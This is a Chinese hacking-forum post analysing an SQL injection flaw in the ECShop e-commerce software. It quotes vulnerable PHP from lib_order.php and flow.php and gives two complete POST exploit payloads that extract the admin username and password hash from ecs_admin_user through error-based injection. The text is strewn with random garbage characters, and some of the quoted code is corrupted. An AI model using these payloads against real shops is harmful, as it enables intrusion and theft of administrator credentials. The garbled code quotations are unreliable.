找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2199|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 `7 D# b9 I' W: C6 k1 n( [
2 s7 \2 @5 o$ g6 g
    漏洞关键文件:7 Y8 s. }: ?3 W: U4 c+ l& m3 U6 m

- [* \8 Z. [/ i    /includes/lib_order.php
# ~. ]$ |8 T* v
3 o3 n% O5 A5 v# j2 C0 G    关键函数:
+ o* `8 L: m/ J, ?! y6 W; C4 G" l* V
. s, ^3 R$ J% n. B/ r% Y: r" v

" n9 {0 L! k, E' f+ z01     function available_shipping_list($region_id_list)
6 X, Z$ I9 J3 X5 M7 k4 S/ z* K+ e$ }8 Q  `; L+ |
02 {
% E( g# Y+ S! [3 V9 O( ?9 {! F, i2 F
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
! |! H  M$ V9 D( U. r8 Y+ m! ?5 S7 W, n6 Q/ m/ T5 [
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
, E+ R9 J" H$ O! n" l5 ]# K# H/ E9 e- L6 {( ]1 u! P
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, W& z0 r4 r. }& b. D5 f' U
% X5 n8 S& v1 Q  }) u! _8 y' s06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
2 {$ O4 H0 z8 s0 T; A: H2 G  q
4 g% h. j5 n# o( p" b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
9 ]  h* ~0 y6 s. Z/ T( Z! b. S/ @& b/ ]* A5 K. e& o( J3 ~& P
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
( m! X2 v2 @: N! m  a  h: J- S, P2 h# x/ ^% R2 r: U
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& l) |5 I0 m, u) E- p6 H
4 y4 i4 V) J/ {3 {& e" O10   0 O. x, P+ D8 ]# }( S: @3 U- _
, U% J% w  c+ n3 ?  e- ?' v) o
11     return $GLOBALS['db']->getAll($sql);
, M. b; j) s8 Y  Y) Y: Y; E) P6 O" w: ^1 x
12 }
9 b1 t9 }- ]( w* a: f0 H2 U9 j. V+ z4 m! [
显然对传入的参数没有任何过滤就带入了查询语句。
( d, V' g* N; k# i
" }6 E) L# j+ P下面我们追踪这个函数在flow.php中:- O* ], M3 F2 \  F
第531行:   ' p( D5 N  i7 w! l( F: s; }* e) j+ a
; m. v; o+ A/ \. q2 E6 \
1 $shipping_list     = available_shipping_list($region); 4 R# D  K  m9 W' \$ A7 K" c

4 x) L1 j# {4 _6 M% O* N ) M+ M+ Q& B- }# e9 \( i) Z
! z  y- q5 f6 I, z' b& P) X; o  V

% |' q7 H1 S7 I( b* Q2 U* y8 H$ s5 q( {) D9 k: V6 g
再对传入变量进行追踪:
7 |! }8 ^1 P1 O" d0 Q  G5 |0 Q
" l; `" t; f' I/ ^1 B! W; [第530行:    & s" [8 u+ j9 H' `

% D1 M5 F. m, c4 S& a0 T1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ w* W) B7 k7 r4 S3 {
8 r# |6 y" Y, r$ b2 O
$ @7 l+ F) w4 G, g7 _6 i" `

2 A7 K, j" l2 O( |6 y1 \ : ~- d3 U& Z: Y; T  }

  u: [, c- F. q. L第473行:        
( V: X% \9 u7 F( {3 h  X1 y2 T; g2 E# M# \0 |
1 $consignee = get_consignee($_SESSION['user_id']);
2 ~; ^" G) ^7 z& x& `/ _& \3 c/ t( G
到了一个关键函数:
) \' d% g$ d& m. Z, ~4 n. p9 n5 `5 _6 q. y! W% C+ r9 s
/includes/lib_order.php% w7 s  Z& O& d
# z: _: ~2 b4 Z: ?- ]

: x+ B3 c8 o1 R/ E# ]- i5 E3 R2 S
, {/ c. |/ h! M& o
% ~: W8 {2 q/ c+ z" x
( C0 {. E; Q# r$ X" d4 W% F4 Q* E01 function get_consignee($user_id)
& T" r8 M% W. E! h( ^5 ^6 l7 r0 p/ y6 z. a# H5 v1 X- E
02 { 6 P. E9 l4 V: x  l

6 f4 u& C' l8 v/ I03     if (isset($_SESSION['flow_consignee']))
7 B3 r! Z" m* d' \+ }  r7 v$ R; ?4 p: B
04     {
! M9 n4 S9 D0 _
  e& _4 k& ]: f05         /* 如果存在session,则直接返回session中的收货人信息 */ 9 p8 ?4 Z0 [" H" N, ~
" {6 R* r  P4 v- j, x1 {3 G
06   , V: Z6 {* r. \+ y" t; [( z9 E

' ^) K1 U9 V$ Z2 f# d07         return $_SESSION['flow_consignee'];
0 T' D% n$ A! V/ |
5 X! g2 q, I7 |/ V" R08     } 5 n8 q5 s  w: }- r' [+ l
# ]9 ~0 l* q5 `; W) g
09     else , Z, _) D4 ^6 L# G6 e  U
5 }8 \' x  T2 n8 d
10     { : a8 r( y: W! t

. Q/ U* Z8 \1 ^" u2 x, o9 M) F  V% D11         /* 如果不存在,则取得用户的默认收货人信息 */
8 V( |. o0 x7 x( o2 L8 T
6 i5 r, o% q; a/ a. O12         $arr = array(); + Y& M% L1 U  K
+ N% B( t" T6 N. P
13   
7 [) ^; N; x/ H5 F
! z, g6 f; }: ^9 X$ q14         if ($user_id > 0)
2 f. l0 v% b! D+ j" V* v
; C# z4 ^+ W" @$ c, }7 `# B15         { 8 S7 T2 d: Q. ]9 p6 j, @6 u- `& }3 `
: x2 t+ G9 O. C& [# `) V* H
16             /* 取默认地址 */ " N4 C! Y. p1 g+ p3 u2 n
( {4 _9 x' q3 j2 Y1 X
17             $sql = "SELECT ua.*". + f+ [3 T, |8 V3 Q0 }$ t
2 P" ~+ N0 [" K; ]9 A; V
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 i# D% V5 n% f
" Y' G# h9 S9 j$ L
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 1 o9 h2 O  T3 o4 M* e" D

' x: W$ [+ l! e, L7 p20   ; P6 ?) u- o9 g0 M3 N

+ i% c$ H( f9 u  E# y0 p  @  `4 Y8 W3 a5 O21             $arr = $GLOBALS['db']->getRow($sql);
# J2 U3 q/ _' o1 Z# W  g0 `* K' ]
22         } 6 Q* m- b* R; W! `
/ H: o- j7 N' W
23   
' X: _$ {3 {. c, [* D; O5 h3 a1 n3 A; e4 a
24         return $arr; ( C& W! G# ]# W* o
) n9 N: W# I5 a5 h! m  _
25     } / |% ?% B' n2 I, _) ]
. r3 O1 @1 @/ v  ~  m
26 }
+ y, n  B6 q8 k' E8 t4 D3 S" Y8 i/ {9 h$ Y/ q4 `/ d
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?( U0 ]0 e$ O9 ^% U

6 |" N) L# T" ]4 O; f6 M - a! z7 Y6 n0 g; \8 |

; [) T7 [3 t9 h4 D4 j关键点:
: c' v# m9 S" }. A4 y! [& B4 e
! E/ v2 }+ o: E' M9 x4 |" @4 r第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
1 |1 j1 d* Z$ i, ?. u
  j/ m0 f$ N4 `' C这里对传入参数反转义存入$_SESSION中。
8 o% y: r. s  n2 e8 w- p
) a: L- U7 V, X  u; X) [8 k+ n6 n. ^. ~
0 X! x2 z% T: x) F9 Z6 B# j4 K& g, t' b8 A! s: E! ]( E
然后看下:
4 o8 b' Y7 Q/ m
8 @. b  _/ X4 W5 h
, ~1 e6 ?8 u3 L* H3 L5 ^
+ l: F1 k1 J6 f3 }   
! r+ w' [) ?+ E  }6 x! k" c* g3 b' \, N# r( U
01 $consignee = array(
1 g; ^1 M6 n  R- a; y+ ?& B6 d- W
0 }" y# w2 C/ l6 V02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
& A6 C: n5 X) L/ W6 N5 I# Y4 |) O& ^; \9 j# ~* b
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ( b: }, [+ \7 T) V- g# o
1 m8 S) w0 c1 W  g- z! L
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
' P; e0 h- p$ I4 t! X, ]) x. d. }
9 D( i2 P# \0 j8 p# {05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
0 ]0 H2 p& u( c! B7 V' s" Z# Z5 b5 q6 V: d$ w/ l3 K& ]# |. K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
- e8 p6 g3 P1 C, J9 T+ b
9 p/ P  @% ], U; @. ~' o07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
+ p3 B8 X1 S9 A$ ^7 y0 z
% j8 V: ^: _- Z08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 1 D) b) C) Z) _1 m& w2 y, V
& K: H+ ?. D$ g0 J
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 5 t. C" Q6 z8 O0 t& Z7 D

: v0 r! R' s& Y  M9 S10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
# O0 n8 h# y. k4 C$ T
" R, z0 O2 P8 N8 k3 y11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), ( ]( F0 ]% p0 w$ x4 ]9 y( \2 h0 Z

9 t& S0 w, k7 I8 n! x0 }, O12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), % \# I1 m: D2 B: G& Q9 [8 K0 n

$ f' l' g5 Q3 V6 h1 J13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 9 ^4 B9 B. Q- M' ]

5 \: s' C8 z8 }3 ~1 B: U  c1 m1 r14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 3 s% t, W+ F% m8 ~: l

& d9 f; `1 u  T3 p) U" _  f$ b15     );
- _( J: L% K) M0 n
3 s- o0 r& e6 N% p: t5 Z0 w$ j4 i7 e好了注入就这样出现了。& u3 U2 F3 e3 V. q8 i/ z7 T6 W$ Z
4 ~6 X8 `7 j( {4 w
==================$ k3 D- k- V7 b

: C% o; `/ d, n! H6 z注入测试:
, A: _2 @- i: m$ j$ C% o6 ~: R" D, S# p, x- Q
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ @' ]0 j3 Y3 f) g
" R4 }$ t  M& A5 P测试程序:ECShop_V2.7.3_UTF8_release1106
/ H% H, p0 |$ `, X0 b& b$ r) S; W0 u$ ]! Z; v

4 z4 j% H: Q( q8 A/ P, z
: @$ C8 x  v3 ?( h: ?1.首先需要点击一个商品加入购物车7 ~  Z2 N' u" i( W) A

. ?! R$ x) ^6 H# M' c4 m7 C2.注册一个会员帐号
3 O4 x9 O$ O: K1 n. P3 j, C
) b7 R5 J* Z* l0 B2 D0 `3.post提交数据
0 A3 t; [. O3 C5 e5 x# x1 ^1 h
4 O8 v+ e; r& [: j' Z1 D# W, ^   C! p7 c6 c1 o  U8 Q/ y! H

5 G0 V! E& h8 ~$ N0 P& Y1 http://127.0.0.1/ecshop/flow.php 4 l8 u: b1 ^4 r% i! E

, C. T, ?1 M! X- B: d2   
' x% y% y$ h% j8 Q
7 g* {% B  e* h3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 0 E- i  j4 P- J7 u7 R' S5 _0 Q* K
举一反三,我们根据这个漏洞我们可以继续深入挖掘:, b+ {7 _) a0 s5 W3 p, P4 J

4 L) ~& |& |- c: q9 X4 M我们搜寻关键函数function available_shipping_list()# L9 \; o2 \9 Y3 W; _/ g6 S0 H
3 Y& S( I, A9 M& Y6 {
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
4 T2 i3 D. |+ B$ F5 U: A6 M6 p+ R8 |" i# O$ L
利用exp:
5 N. @: L2 o7 n2 e4 y! l$ ~7 O6 \4 y. J
1.点击一个商品,点击购买商标0 r. U: n1 i& j8 C/ f4 ]

: t+ J" |0 M  Z' Z2.登录会员帐号
1 Q1 n' p( ~. L( k, J6 a6 A! q$ {  x5 R8 a+ V3 Y0 h
3.post提交:7 J$ {3 h: b4 }# U
# u% t0 }5 m+ J) q' I
http://127.0.0.1/ecshop/mobile/order.php
! y* o7 U2 _9 k. _  @( ]2 ^
' I) D& s# t: Z5 h3 E+ x! I   q: }/ ~- f& p1 C

( r4 s* \9 S. x" ^/ [% ]country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=+ M/ M  N7 ?: Y* d7 S! m! [
$ M+ Q3 U' A$ m& w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表